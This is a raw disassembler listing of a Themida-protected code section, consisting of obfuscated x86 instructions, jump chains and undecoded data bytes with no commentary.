loc_54BC51:				; CODE XREF: Themida_:0054252Dj
		push	ebp
		mov	ebp, 66CD761Ch
		mov	edi, 0DB5BA200h
		sub	edi, 9AF064Fh
		add	edi, 3C117384h
		add	edi, ebp
		sub	edi, 3C117384h
		add	edi, 9AF064Fh
		pop	ebp
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	76E074BCh
		pop	esi
		sub	esi, 0F9AE2696h
		jmp	loc_5431E2
; ---------------------------------------------------------------------------
		db 81h
		dd 31365BE9h, 50535E40h, 421D668h, 2CBB585Ch, 0E9A3FBDEh
		dd 0FFFFD9C0h
; ---------------------------------------------------------------------------

loc_54BCA8:				; CODE XREF: Themida_:00550F46j
		mov	[esp], edx
		push	1CADh
		mov	[esp], ebx
		push	2F432D1Fh
		jmp	loc_54806D
; ---------------------------------------------------------------------------
aBZ6ZsV		db 'ÁZ6ÑZé)‚',0
		align 4
		dd 89242C89h, 4C02E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BCD2:				; CODE XREF: Themida_:00541BD9j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54C92C
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4A8E9h, 39AEB900h, 0F1816E4Fh, 6E4F39AAh,	0E959CB01h
		dd 0FFFFF767h
dword_54BCFC	dd 9D1C77FFh, 11665866h, 0E99C2404h, 31BCh, 4B8h, 0E9C60100h
					; DATA XREF: Themida_:00541964o
		dd 19C2h, 830BBEB9h, 59F18171h,	897B965Bh, 3CEDE9CAh, 0EE810000h
		dd 2B1A1D3Bh, 0C681DE29h, 2B1A1D3Bh, 81E28952h,	4C2h, 4EA8100h
		dd 0E9000000h, 0FFFFFA50h
; ---------------------------------------------------------------------------

loc_54BD4C:				; CODE XREF: Themida_:0054247Cj
		not	ecx
		jmp	loc_54A980
; ---------------------------------------------------------------------------
		db 81h
		dd 0B78ADC3h, 81CB0145h, 0B78ADEBh, 62685945h, 0E900007Bh
		dd 4DB8h, 0B75331B1h, 7E7C025h,	0EF80C7FEh, 0FFF930FBh
		dd 505B2434h, 405E089h,	51000000h, 4B9h, 59C80100h, 5C240487h
		dd 982BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54BD99:				; CODE XREF: Themida_:0054B01Aj
		push	eax
		mov	eax, 35C9211Fh
		jmp	loc_5546BD
; ---------------------------------------------------------------------------
		dd 766520BFh, 8DE1E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BDAE:				; CODE XREF: Themida_:0055032Aj
		add	esp, 4
		shr	ecx, 7
		push	552Fh
		mov	[esp], ebx
		push	5ED6h
		mov	[esp], edi
		push	edx
		push	edi
		mov	edi, 39E85A1Dh
		mov	edx, 97138862h
		sub	edx, edi
		jmp	loc_546C56
; ---------------------------------------------------------------------------
		db 56h
		dd 2434FF5Ah, 4C4835Eh,	0FFAA0AE9h, 24148BFFh, 4C481h
		dd 0E8C00000h, 0F6C88608h, 34C886D1h, 30D72C61h, 2434FFC5h
		dd 8ED7E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BE06:				; CODE XREF: Themida_:0054A34Dj
		sub	esi, eax
		add	esi, 1FD759EBh
		add	esi, 4DDC72D2h
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		push	ecx
		mov	ecx, 476643B3h
		xor	ecx, 50756FBAh
		jmp	loc_54399B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 47BC57BFh, 0C181D901h, 47BC57BFh, 240C335Bh,	33240C31h
		dd 99E9240Ch, 68000096h, 3A41h,	68241C89h, 1D5C1B80h, 52241C8Bh
		dd 0A251E9h, 24348B00h,	602E6852h, 24890000h, 24048124h
		dd 4, 33FAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BE82:				; CODE XREF: Themida_:0054D4C8j
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_556AAD
; ---------------------------------------------------------------------------
		db 57h
		dd 0ABE9E789h, 59FFFFC2h, 685EF701h, 576Dh, 1686E9h, 190D6600h
		dd 4EC8315h, 66242C89h,	664FD9BDh, 0DFAAED81h, 0FFA358E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BEC9:				; CODE XREF: Themida_:00555533j
		add	edi, 4
		add	edi, 4
		jmp	loc_552520
; ---------------------------------------------------------------------------
aI4H		db '‰4$h~\',0
		align 2
		dw 2489h
		dd 4BD5524h, 1000000h, 0E904246Ch, 8D27h, 0B351C5BFh, 0E9F83164h
		dd 45D9h
; ---------------------------------------------------------------------------

loc_54BF00:				; CODE XREF: Themida_:0054B876j
		mov	ebx, 523A6F1Eh
		shr	ebx, 2
		and	ebx, 62E73450h
		inc	ebx
		shl	ebx, 1
		and	ebx, 67137322h
		jmp	loc_548127
; ---------------------------------------------------------------------------

loc_54BF1C:				; CODE XREF: Themida_:00550602j
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_543B7D
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 14BB53D8h, 56B4E21h,	29320Fh, 0FFDE45E9h, 7FB305FFh
		dd 0D135517Dh, 0C111CC40h, 4E0503E0h, 0E906D378h, 366Eh
; ---------------------------------------------------------------------------

loc_54BF54:				; CODE XREF: Themida_:00550E9Fj
		mov	dx, [esp]
		add	esp, 2
		push	eax
		jmp	loc_549C23
; ---------------------------------------------------------------------------
		dd 0E955D8F7h, 0FFFFC0F7h, 8302C383h, 1C8904ECh, 2474FF24h
		dd 241C8B04h, 4C481h, 48F0000h,	5BA9E924h, 2C87FFFFh, 0D685D24h
		dd 0E9000000h, 3D20h, 203C4FBEh, 0A92BE96Eh, 0C681FFFFh
		dd 41348007h, 902DE9h, 50E95700h, 5A00000Ah, 14CBE9h, 0F4E95F00h
		dd 57FFFF92h, 19EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_54BFC5:				; CODE XREF: Themida_:00550AF5j
		add	esi, 5BC86B39h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	4668h
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_548B4B
; ---------------------------------------------------------------------------
		dd 81C7015Eh, 2614DFEFh, 0B951583Bh, 4,	0C8BCF01h, 0D9A8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C00A:				; CODE XREF: Themida_:0054CCDFj
		push	0
		add	dword ptr [esp], 2FE510F9h
		add	dword ptr [esp], 68E75A98h
		sub	[esp], ebx
		sub	dword ptr [esp], 68E75A98h
		push	esi
		mov	esi, 2FE510F9h
		sub	dword ptr [esp+4], 1100067h
		sub	[esp+4], esi
		add	dword ptr [esp+4], 1100067h
		pop	esi
		pop	ebx
		push	edi
		mov	edi, 9F15A81h
		add	ebx, edi
		pop	edi
		sub	ebx, 86199BC0h
		jmp	loc_54A67D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 817BE950h, 0E589FFFFh, 4C581h, 0C5810000h, 4, 8B242C87h
		dd 0C3832424h, 241C3302h, 0E9241C31h, 8844h
; ---------------------------------------------------------------------------

loc_54C080:				; CODE XREF: Themida_:00546DEBj
		neg	eax
		not	eax
		inc	eax
		shl	eax, 8
		jmp	loc_54A8BC
; ---------------------------------------------------------------------------
		db 2Dh,	0DDh, 39h
		dd 0A3E96F78h, 1FFFF74h, 0AFE1E9C1h, 0C683FFFFh, 24348704h
		dd 3241E9h, 40500h, 0C0830000h,	24048704h, 8F24248Bh, 8EE92404h
		dd 89FFFFF8h, 0B0BD242Ch, 1351D0Fh, 0EA015DEAh,	7011BF57h
		dd 8147059Ah, 0D5DF6C7h, 81474706h, 674629C7h, 0E9DFF760h
		dd 0FFFF7FCAh, 243CD366h, 5A2DE99Ch, 6852FFFFh,	7521h
		dd 151CE9h, 2DF00100h, 35FA3111h, 8124348Bh, 4C4h, 4EC8100h
		dd 0E9000000h, 6443h
; ---------------------------------------------------------------------------

loc_54C118:				; CODE XREF: Themida_:00556782j
		sub	ebp, eax
		pop	eax
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_54D2A9
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0E954515Ch, 0FFFFD855h
; ---------------------------------------------------------------------------

loc_54C130:				; CODE XREF: Themida_:00546A80j
		mov	ebx, edx
		jmp	loc_550514
; ---------------------------------------------------------------------------

loc_54C137:				; CODE XREF: Themida_:0055222Bj
		push	681Ah
		mov	[esp], edi
		jmp	loc_54D763
; ---------------------------------------------------------------------------
aFiSc		db 'f‰<$éC&',0
		dd 24348700h, 0E924248Bh, 5201h
; ---------------------------------------------------------------------------

loc_54C158:				; CODE XREF: Themida_:00544CBDj
		pop	ebp
		jmp	loc_55006A
; ---------------------------------------------------------------------------
aEwso		db '¾Ö$ÏeWéŽ#',0
		db 0
; ---------------------------------------------------------------------------

loc_54C169:				; CODE XREF: Themida_:0054C71Dj
		pop	edx
		push	eax
		mov	eax, esp
		push	317Dh
		mov	[esp], ebp
		mov	ebp, 2A3F1457h
		neg	ebp
		jmp	loc_5508EB
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 81h
		dd 0ECF77BF1h, 59CA2929h, 0FFAE27E9h, 4BB53FFh,	1000000h
		dd 34875BDEh, 24248B24h, 0E9240431h, 0FFFF5977h, 6C7C07BBh
		dd 0BE56557Bh, 2ADA0FD3h, 81D6F746h, 0D43E84C6h, 1DEE8116h
		dd 8166AE74h, 0A48C47C6h, 99B1E9AFh, 6C81FFFFh,	27C0424h
		dd 6C810B5Ch, 59920424h, 34FF2E5Fh, 2434FF24h, 83240C8Bh
		dd 24E904C4h, 51FFFF5Ah, 0FC6E9h, 0F3015F00h, 3CC4BE56h
		dd 0F329078Bh, 24348B5Eh, 8304C483h, 48904ECh, 0D2FEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C212:				; CODE XREF: Themida_:0054D3EBj
		pop	esi
		pop	edi
		mov	dword ptr [edi+20h], 19082CA5h
		push	ebx
		jmp	loc_542381
; ---------------------------------------------------------------------------
		db 5Ah,	59h, 0C1h
		dd 0E28105EAh, 1D9367E6h, 672E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C231:				; CODE XREF: Themida_:0054F37Dj
		push	ebx
		mov	ebx, 1DC93482h
		sub	eax, ebx
		pop	ebx
		sub	eax, esi
		add	eax, 1DC93482h
		add	eax, 538D612Eh
		pop	esi
		jmp	loc_546582
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 3407E924h, 4050000h, 2D000000h, 4
		dd 5C240487h, 54242C89h, 4B8505Dh, 1000000h, 0BE5658C5h
		dd 4, 1B44E9h, 0BE0F6600h, 14A68C8h, 0C890000h,	4EC8124h
		dd 89000000h, 3DE92424h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C29B:				; CODE XREF: Themida_:00556503j
		add	edi, 4
		push	ebx
		jmp	loc_5511B9
; ---------------------------------------------------------------------------
		db 52h
		dd 0DC6E59BAh, 55BB5302h, 2902DC6Eh, 165E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C2BA:				; CODE XREF: Themida_:0054FF12j
		pop	ecx
		add	dh, ch
		add	dh, 8Ch
		push	cx
		jmp	loc_54DEFA
; ---------------------------------------------------------------------------
aXzh		db 'XZhÊ,',0
		align 2
		dw 0A9E9h
		dd 50FFFF8Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		mov	edx, 5B1076BEh
		add	edx, 0A4EF8946h
		jmp	loc_546333
; ---------------------------------------------------------------------------

loc_54C309:				; CODE XREF: Themida_:0054B0ACj
		add	ebx, 54D35FD3h
		mov	esi, [esp]
		jmp	loc_54817C
; ---------------------------------------------------------------------------

loc_54C317:				; CODE XREF: Themida_:00543FD9j
		jmp	loc_541B1F
; ---------------------------------------------------------------------------

loc_54C31C:				; CODE XREF: Themida_:00555777j
		add	ecx, 38164076h
		jmp	loc_549641
; ---------------------------------------------------------------------------

loc_54C327:				; CODE XREF: Themida_:0054ECBCj
		pop	esp
		push	1032h
		mov	[esp], ecx
		jmp	loc_543E26
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 2Dh
		dd 5DA3FD1Fh, 0E958C689h, 0FFFF7409h, 54240C89h, 0E9240C8Bh
		dd 60Eh, 0E95FFE21h, 0FFFFC1F0h, 33241431h, 248B2414h
		dd 241C8724h, 2404FE5Ch, 57B1E99Ch, 8B5BFFFFh, 0C4832404h
		dd 66D9F604h, 28C9B050h, 525866C1h, 0F28058B2h,	20EA8073h
		dd 2C01E9h, 63E95D00h, 59FFFFA3h, 82C1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C399:				; CODE XREF: Themida_:00544532j
		sub	esp, 4
		mov	[esp], eax
		push	7808h
		jmp	loc_553C63
; ---------------------------------------------------------------------------

loc_54C3AC:				; CODE XREF: Themida_:0054E508j
		mov	edi, [esp]
		jmp	loc_5466D1
; ---------------------------------------------------------------------------
		dd 0FCE95053h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C3BB:				; CODE XREF: Themida_:00550863j
		and	eax, 5A0589Ch
		dec	eax
		add	eax, 0FE5FEF6Dh
		jmp	loc_5546A9
; ---------------------------------------------------------------------------

loc_54C3CB:				; CODE XREF: Themida_:0054C5C7j
		mov	[esp], cx
		push	small word ptr [esp+2]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		jmp	loc_541DFD
; ---------------------------------------------------------------------------

loc_54C3FE:				; CODE XREF: Themida_:00548223j
		sub	esi, ebx
		add	esi, 37757C45h
		jmp	loc_545B64
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E38108EBh, 40983444h, 2C1CEB81h, 0ABE94A45h, 5B000047h
		dd 815AD001h, 4ECh, 24148900h, 4BAh, 0A872D00h,	0D02942E4h
		dd 0E40A8705h, 4875A42h, 24248B24h, 88241C89h, 5BFA88C7h
		dd 6AE2E958h, 0B2BB0000h, 0E9769100h, 855Ch
; ---------------------------------------------------------------------------

loc_54C45C:				; CODE XREF: Themida_:00549F07j
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		push	ebp
		mov	ebp, 4A1D1BFFh
		dec	ebp
		jmp	loc_5566DC
; ---------------------------------------------------------------------------
		dd 42F38059h, 80F1E380h, 0E950D1F3h, 19E3h
; ---------------------------------------------------------------------------

loc_54C490:				; CODE XREF: Themida_:005482F3j
		or	esi, edi
		pop	edi
		jmp	loc_5562CA
; ---------------------------------------------------------------------------
		dd 0A8E9DD31h, 29FFFF84h, 242C8BEAh, 9430E9h, 32BB5300h
		dd 295B0414h, 7C70E9D8h, 0C483FFFFh, 240C3304h,	33240C31h
		dd 665C240Ch, 9C2424D3h, 0B8AE9h, 0A2E95D00h, 8000003Eh
		dd 33E917F4h, 51000033h, 852673B9h, 76C9813Fh, 0D11C8C7Dh
		dd 9C981E9h, 8137E145h,	2C4E4BC9h, 35E9813Bh, 890092F4h
		dd 0E95159CBh, 0FFFF7955h, 4BA52h, 0D7010000h, 0E924148Bh
		dd 0FFFFDC0Ah, 5FBA525Dh, 29485D7Ah, 87A0E9D1h,	1487FFFFh
		dd 7AF5E924h, 0FE680000h, 5A697814h, 835AD309h,	4AE9FFEBh
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C53B:				; CODE XREF: Themida_:005509A2j
		push	6C956F7Dh
		mov	ebx, [esp]
		add	esp, 4
		dec	ebx
		not	ebx
		shl	ebx, 8
		shl	ebx, 7
		neg	ebx
		push	ebp
		mov	ebp, 0FB60013h
		sub	ebp, 57F78011h
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 65B83CA4h
		sub	eax, ebx
		sub	eax, 65B83CA4h
		jmp	loc_54D01B
; ---------------------------------------------------------------------------
dword_54C57C	dd 582434FFh, 2D26E956h, 595F0000h, 0EFC1DFF7h,	0C7814708h
					; DATA XREF: Themida_:00541AD4o
		dd 1F23EA32h, 0E95FFA29h, 9B02h, 0F10032B6h, 775FE9h, 4EC8300h
		dd 3B44E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C5AD:				; CODE XREF: Themida_:00552D9Cj
		add	ebp, 4
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	small 5070h
		jmp	loc_54C3CB
; ---------------------------------------------------------------------------
		dd 2EC815Ch, 66000000h,	0B3241C89h, 3BB2529Dh, 83CAF280h
		dd 48904ECh, 4C2BE924h,	4310000h, 24043324h, 2824248Bh
		dd 3152E9E8h, 15B0000h,	0CBEE81D6h, 0E94AC00Ah,	6247h
		dd 5C240C33h, 57C8B60Fh, 30CCE9h
		db 0
; ---------------------------------------------------------------------------

loc_54C615:				; CODE XREF: Themida_:0054FDE9j
		sub	ecx, 9C76B9Eh
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 0
		jmp	loc_555365
; ---------------------------------------------------------------------------

loc_54C62A:				; CODE XREF: Themida_:005432FAj
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_549CF1
; ---------------------------------------------------------------------------
		dd 0F930EDB7h, 0CB285B66h, 53240C8Bh, 0C381E389h, 4, 8704C383h
		dd 0F5C241Ch, 6866C0B6h, 0F2E97C7Ah
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C65B:				; CODE XREF: Themida_:00544BD8j
		add	eax, 5DD9674Dh
		add	eax, 6BA33B20h
		jmp	loc_54A779
; ---------------------------------------------------------------------------

loc_54C66A:				; CODE XREF: Themida_:0054388Ej
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54ADFF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BDE92434h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C68F:				; CODE XREF: Themida_:00552556j
		neg	ebx
		or	ebx, 1C4F19A9h
		shl	ebx, 4
		jmp	loc_5420C4
; ---------------------------------------------------------------------------
		db 54h
		dd 4C5815Dh, 81000000h,	4C5h, 4D6EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C6B2:				; CODE XREF: Themida_:00551092j
		not	ecx
		push	ebp
		push	2BCB3DE1h
		pop	ebp
		push	ebx
		mov	ebx, 66050DA0h
		jmp	loc_54F8F1
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 6866CCB6h, 89667EE7h, 0F66240Ch, 5166C8B6h, 5441E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C6DE:				; CODE XREF: Themida_:00544486j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_555817
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4, 5C241487h, 52240489h, 0FFE37CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C705:				; CODE XREF: Themida_:0055118Cj
		inc	edi
		add	edi, 239538EDh
		xor	edi, 0E2CE9669h
		add	ebp, edi
		pop	edi
		jmp	loc_54E824
; ---------------------------------------------------------------------------

loc_54C71A:				; CODE XREF: Themida_:00552EFBj
		push	dword ptr [esp]
		jmp	loc_54C169
; ---------------------------------------------------------------------------

loc_54C722:				; CODE XREF: Themida_:005467D3j
		sub	bl, 0ABh
		xor	cl, bl
		jmp	loc_550E8A
; ---------------------------------------------------------------------------
		dd 5759CD89h, 0FF74BEE9h, 24348BFFh, 4C481h, 0C330000h
		dd 240C3124h, 5C240C33h, 242CD366h, 53CDE99Ch, 0C8BFFFFh
		dd 0E7895724h, 0FF5711E9h, 75ED81FFh, 0C13CDA51h, 0BE5607EDh
		dd 28246850h, 522DE681h, 0B95138E6h, 55DF466Dh,	0FFF3BDE9h
		dd 24248BFFh, 2424D366h, 5395E99Ch, 0C280FFFFh,	8BD120F2h
		dd 0E9522414h, 43FFh
; ---------------------------------------------------------------------------

loc_54C798:				; CODE XREF: Themida_:00555CBFj
		push	58EAh
		jmp	loc_5425E7
; ---------------------------------------------------------------------------

loc_54C7A2:				; CODE XREF: Themida_:005463CBj
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 5B942CD8h
		mov	ecx, 797D084Ch
		xor	ecx, ebp
		pop	ebp
		shl	ecx, 7
		inc	ecx
		shl	ecx, 1
		shr	ecx, 3
		push	5A79h
		mov	[esp], edx
		jmp	loc_5466E5
; ---------------------------------------------------------------------------

loc_54C7CA:				; CODE XREF: Themida_:0054F36Dj
		neg	ecx
		xchg	ecx, esi
		sub	esi, 0BAD67FEAh
		add	edx, 7C531AA8h
		sub	edx, esi
		jmp	loc_544147
; ---------------------------------------------------------------------------
		db 5Bh,	87h, 14h
		dd 24248B24h, 24048B66h, 0FF5D54E9h
		db 0FFh
byte_54C7F1	db 64h,	66h, 0Fh	; DATA XREF: Themida_:005419A0o
		dd 686602B6h, 8966120Ch, 1CE92404h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C803:				; CODE XREF: Themida_:00549747j
		dec	edx
		shl	edx, 3
		push	ebx
		mov	ebx, 382D3921h
		add	ebx, 67C757D8h
		xor	ebx, 17214643h
		neg	ebx
		add	ebx, 33706275h
		xor	ebx, 0A464F928h
		or	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_546C0D
; ---------------------------------------------------------------------------
		dd 0BE243489h, 6A673EDBh, 3ED7EE81h, 222D6A67h,	15DED31h
		dd 312205F0h, 0B6E95DEDh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C84F:				; CODE XREF: Themida_:005470E9j
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5564EB
; ---------------------------------------------------------------------------
		dw 0D504h
		dd 0D52CC800h, 240C8B66h, 2C481h, 0C4040000h, 0EC83D828h
		dd 9DCCE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C88E:				; CODE XREF: Themida_:00548533j
		sub	edx, 115B13C7h
		jmp	loc_5455DC
; ---------------------------------------------------------------------------
		db 0B9h, 0Dh, 3Ch
		dd 0FEE97A75h, 81000089h, 304868C2h, 0BD5528h, 81000000h
		dd 0B4297BEDh, 81D5292Ch, 0B4297BC5h, 0E9EA892Ch, 0FFFFD743h
; ---------------------------------------------------------------------------

loc_54C8C4:				; CODE XREF: Themida_:00555AE1j
		add	esp, 4
		push	ebp
		push	0
		jmp	loc_541B2D
; ---------------------------------------------------------------------------

loc_54C8D5:				; CODE XREF: Themida_:0054EC0Aj
		add	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_548EB0
; ---------------------------------------------------------------------------
		db 0B7h, 5Dh, 0C0h
		dd 0CFFE04E7h, 804FE780h, 0F82812C7h, 0D3E9525Bh, 42FFFF70h
		dd 0C231D031h, 0E0C1D031h, 0BDF63502h, 0C581A307h, 654934E4h
		dd 0ED81C501h, 654934E4h, 0FFD46CE9h, 4335FFFh,	24043124h
		dd 0E9240433h, 0FFFFA69Ch
; ---------------------------------------------------------------------------

loc_54C92C:				; CODE XREF: Themida_:0054BCD9j
		pop	eax
		push	esi
		push	5C5Bh
		mov	[esp], edx
		mov	edx, 40DA3DD2h
		push	eax
		mov	eax, 1D2F539Bh
		and	edx, eax
		jmp	loc_55227F
; ---------------------------------------------------------------------------
		dd 8C685155h, 0E965DA48h, 0FFFFEBE8h, 0CA2B23BBh, 94ADE915h
		dd 0C483FFFFh, 4C18104h, 68000000h, 4F86h, 55241C89h, 79BBBDh
		dd 79BFBB19h, 0F2E91900h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C97F:				; CODE XREF: Themida_:00556146j
		mov	[esp], esi
		mov	esi, 0BD12F1Bh
		jmp	loc_55342D
; ---------------------------------------------------------------------------
		dd 194F681h, 1CE9CB6Bh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54C997:				; CODE XREF: Themida_:00548303j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_54F168
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 0FFCDDEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C9C5:				; CODE XREF: Themida_:005511CBj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5514D5
; ---------------------------------------------------------------------------
		db 89h
		dd 575552E0h, 1B17B1BFh, 0A4C7811Ch, 81106774h,	0F25906EFh
		dd 65E95010h, 8900005Ah, 79E9240Ch, 89000007h, 4C781E7h
		dd 83000000h, 0E1E904C7h, 5200008Bh, 0C281E289h, 4, 8164E9h
		dd 241C8B00h, 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFFBAB2h
; ---------------------------------------------------------------------------

loc_54CA38:				; CODE XREF: Themida_:00549BE6j
		add	dword ptr [ebx], 1
		push	dword ptr [esp]
		jmp	loc_542784
; ---------------------------------------------------------------------------

loc_54CA46:				; CODE XREF: Themida_:005486B1j
		mov	[esp], ebx
		push	ecx
		jmp	loc_55016A
; ---------------------------------------------------------------------------

loc_54CA4F:				; CODE XREF: Themida_:0054B870j
		sub	esi, edx
		push	ebp
		mov	ebp, 21AD0F3Ch
		inc	ebp
		or	ebp, 30897331h
		sub	ebp, 2A8C781Fh
		jmp	loc_54FD00
; ---------------------------------------------------------------------------
		db 0B5h, 0Bh, 0C0h
		dd 0F2E907EDh, 89FFFFEBh, 4812424h, 424h, 2434FF00h, 0FFF90EE9h
		db 0FFh
aNswl		db '­éWl',0             ; DATA XREF: Themida_:00541914o
		dw 0BE00h
		dd 14D21265h, 6A89C681h, 0E6D12AC7h, 5B47E681h,	0E6C10D0Eh
		dd 3E6C106h, 3EDDEE81h,	43E99A5Eh, 29000046h, 2434FFC1h
		dd 4C48158h, 81000000h,	0ED1702C3h, 81CB0145h, 0ED1702EBh
		dd 0EB815945h, 55ED3BBFh, 0E2E9FB01h, 68000042h, 0
		dd 58240429h, 0F47EE948h, 95BDFFFFh, 0E9427349h, 0FFFF7FDCh
		dd 28A268h, 241C8900h, 0F8200EB7h, 1BB4E95Bh, 0E9800000h
		dd 36CC6801h, 4890000h,	0FEAEB024h, 13FCE9C8h, 81460000h
		dd 0A0011CCEh, 1DEE8117h, 815FAF5Dh, 2D567EC5h,	1F39E936h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CB2E:				; CODE XREF: Themida_:0054FF92j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jmp	loc_54EE05
; ---------------------------------------------------------------------------
		db 0B8h
		dd 207052C3h, 0FFD546E9h, 4E5C1FFh, 0E581D5F7h,	44B07907h
		dd 4EC81h, 1C890000h, 5103BB24h, 0DD294400h, 83241C8Bh
		dd 0E95104C4h, 4571h, 0FE0E45BAh, 41F28101h, 101FE0Eh
		dd 51525AD7h, 3B3BB850h, 4E2D6A32h, 0D6F666Fh, 3CAA40F1h
		dd 22C9E940h, 4B90000h,	0E9000000h, 5C09h
; ---------------------------------------------------------------------------

loc_54CBA4:				; CODE XREF: Themida_:0054A230j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_545F7F
; ---------------------------------------------------------------------------

loc_54CBB1:				; CODE XREF: Themida_:0054A601j
		push	esi
		mov	esi, 0B9A3D1Bh
		or	esi, 7FF2032Dh
		jmp	loc_555A3B
; ---------------------------------------------------------------------------
aBsRSb		db 'é(',0Bh,'R',0Dh,'éB ',0
		dd 884BB200h, 0FE5A66D4h, 5CE480C4h, 0D077E480h, 0F6CC80ECh
		dd 885CF480h, 0E8D0E9E5h, 0EC83FFFFh, 240C8904h, 0BB63B368h
		dd 240C8B25h, 0E904C483h, 9802h, 0E9243C89h, 4259h
; ---------------------------------------------------------------------------

loc_54CC08:				; CODE XREF: Themida_:00552330j
		xor	eax, 4AAD9739h
		mov	edx, eax
		jmp	loc_549487
; ---------------------------------------------------------------------------
		dd 7DE95552h, 81FFFF96h, 4F4E39C2h, 98CA817Ch, 8100CB43h
		dd 87DAC5EAh, 5AD029B4h, 2B55BF57h, 75E90763h, 89FFFFD9h
		dd 3FB568E0h, 1C890000h, 6A02BB24h, 0F3813343h,	78FA323Ah
		dd 0F702E3C1h, 0DDE953D3h, 81FFFFD9h, 4C3h, 2C38300h, 5C241C87h
		dd 0F605EDC0h, 4F580D5h, 51EC8850h, 0EA88E588h,	24048B59h
		dd 4C481h, 80590000h, 0D300C1EBh, 8BC1C380h, 0C4832414h
